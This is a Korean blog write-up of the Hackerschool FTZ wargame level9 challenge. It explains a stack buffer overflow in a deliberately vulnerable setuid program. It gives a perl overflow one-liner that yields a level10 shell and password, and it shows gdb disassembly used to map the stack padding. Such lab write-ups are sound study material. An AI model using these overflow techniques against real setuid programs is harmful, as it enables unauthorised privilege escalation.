FTZ_level9
[level9@ftz level9]$ ls hint public_html tmp [level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
main(){
char buf2[10]; char buf[10];
printf("It can be overflow : "); fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); }
}
이를 이용하여 level10의 권한을 얻어라. |
슬슬 BOF(버퍼 오버 플로우) 문제가 나오기 시작하네요ㅎㅎ
BOF에 관한 자료는 따로 정리해 포스팅하겠습니다.
—- 낮은 메모리 주소 —- |
buf [10] |
buf2 [10] |
SFP [4] |
RET [4] |
—— 높은 메모리 주소 —- |
간단하게 메모리 구조를 예상해 보면 위 그림과 같습니다.
프로그램의 작동 방식을 보면
표준입력으로, 최대 40바이트의 크기를 입력받아, buf에 저장하는 군요.
그후 buf2의 문자열 중 2바이트 크기만큼 “go”러는 문자열과 비교하여 일치하면
setreuid를 통해 level10의 권한을 가진 셸을 띄우게 됩니다.
[level9@ftz tmp]$ ls -l /usr/bin/bof -rws--x--- 1 level10 level9 12111 6월 5 08:52 /usr/bin/bof [level9@ftz tmp]$ /usr/bin/bof It can be overflow : 1234567890go |
하지만 10바이트 크기의 쓰레기값 + 2바이트 크기의 go 를 입력해보면 반응이 없습니다.
메모리 사이에 더미 메모리가 있기 때문인데요. 펄스크립트를 통해 go로 20바이트 쯤 덮어버리겠습니다.
[level9@ftz tmp]$ (perl -e 'print "go"x10'; cat) | /usr/bin/bof
It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!". |
level10 패스워드가 보이네요.
더 정확한 분석을 위해 level10으로 로그인 후 /usr/bin/bof를 gdb로 분석해보겠습니다.
필요한 부분만 보면..
[level10@ftz tmp]$ gdb /usr/bin/bof GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048420 <main+0>: push %ebp 0x08048421 <main+1>: mov %esp,%ebp 0x08048423 <main+3>: sub $0x28,%esp …생략… |
main+3 를 보면 16진수로 0x28.. 40바이트의 메모리를 확보하는게 보이네요
변수+더미 의 크기가 40바이트니 더미의 크기까지 계산해보겠습니다.
디스 어셈블 코드를 보면
0x08048420 <main+0>: push %ebp 0x08048421 <main+1>: mov %esp,%ebp 0x08048423 <main+3>: sub $0x28,%esp 0x08048426 <main+6>: and $0xfffffff0,%esp 0x08048429 <main+9>: mov $0x0,%eax 0x0804842e <main+14>: sub %eax,%esp 0x08048430 <main+16>: sub $0xc,%esp 0x08048433 <main+19>: push $0x8048554 0x08048438 <main+24>: call 0x8048350 <printf> 0x0804843d <main+29>: add $0x10,%esp 0x08048440 <main+32>: sub $0x4,%esp 0x08048443 <main+35>: pushl 0x8049698 0x08048449 <main+41>: push $0x28 0x0804844b <main+43>: lea 0xffffffd8(%ebp),%eax 0x0804844e <main+46>: push %eax 0x0804844f <main+47>: call 0x8048320 <fgets> 0x08048454 <main+52>: add $0x10,%esp 0x08048457 <main+55>: lea 0xffffffe8(%ebp),%eax 0x0804845a <main+58>: sub $0x4,%esp 0x0804845d <main+61>: push $0x2 0x0804845f <main+63>: push $0x804856a 0x08048464 <main+68>: push %eax 0x08048465 <main+69>: call 0x8048330 <strncmp> 0x0804846a <main+74>: add $0x10,%esp 0x0804846d <main+77>: test %eax,%eax 0x0804846f <main+79>: jne 0x80484a6 <main+134> 0x08048471 <main+81>: sub $0xc,%esp 0x08048474 <main+84>: push $0x804856d 0x08048479 <main+89>: call 0x8048350 <printf> 0x0804847e <main+94>: add $0x10,%esp 0x08048481 <main+97>: sub $0x8,%esp 0x08048484 <main+100>: push $0xbc2 0x08048489 <main+105>: push $0xbc2 0x0804848e <main+110>: call 0x8048360 <setreuid> 0x08048493 <main+115>: add $0x10,%esp 0x08048496 <main+118>: sub $0xc,%esp 0x08048499 <main+121>: push $0x804857a 0x0804849e <main+126>: call 0x8048310 <system> 0x080484a3 <main+131>: add $0x10,%esp 0x080484a6 <main+134>: leave 0x080484a7 <main+135>: ret End of assembler dump. |
스택은 거꾸로 자라기 때문에ㅎㅎ
함수로 인자가 전달될 떄, 어셈블리어에서는 순서가 반대로 전달됩니다.
main+61 ~ main+69 부분을 보면
strncmp(buf2, "go", 2) 부분인것 같군요
eax레지스터가 가리키는 값이 buf2의 시작부분입니다.
그렇다면 main+68에 breakpoint를 걸고 eax레지스터에 저장된 값을 본다면 더미의 크기를 알 수 있겠네요
(gdb) b * main+68 Breakpoint 1 at 0x8048464 (gdb) r Starting program: /usr/bin/bof It can be overflow : AAAAAAAAAABBCCEEFFGG
Breakpoint 1, 0x08048464 in main () (gdb) x/x $eax 0xbfffeda0: 0x47474646 |
더미의 크기는 짝수로 올라가기때문에 2개씩 값을 증가시켰습니다.
eax에 저장된 값은 0x47474646이군요. 이것은 리틀 에디안 방식으로 표시된 값이기 때문에
실제로는 46464747 이라고 할 수 있습니다.ㅎㅎ 0x46 -> (십진수로) 70 -> 아스키코드로 F 입니다.
그렇다면 buf2의 시작값은 F부터겠네요, 따라서 더미의 크기는 6바이트 입니다.
메모리 구조를 다시 본다면..
—-낮은 메모리 주소—- |
buf [10] |
dummy [6] |
buf2 [10] |
dummy [6] |
dummy [8] |
SFP [4] |
RET [4] |
—-높은 메모리 주소—- |
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level11 -> level12 ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level10 -> level11 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level8 -> level9 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level7 -> level8 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level6 -> level7 ) by ORANG (0) | 2014.10.20 |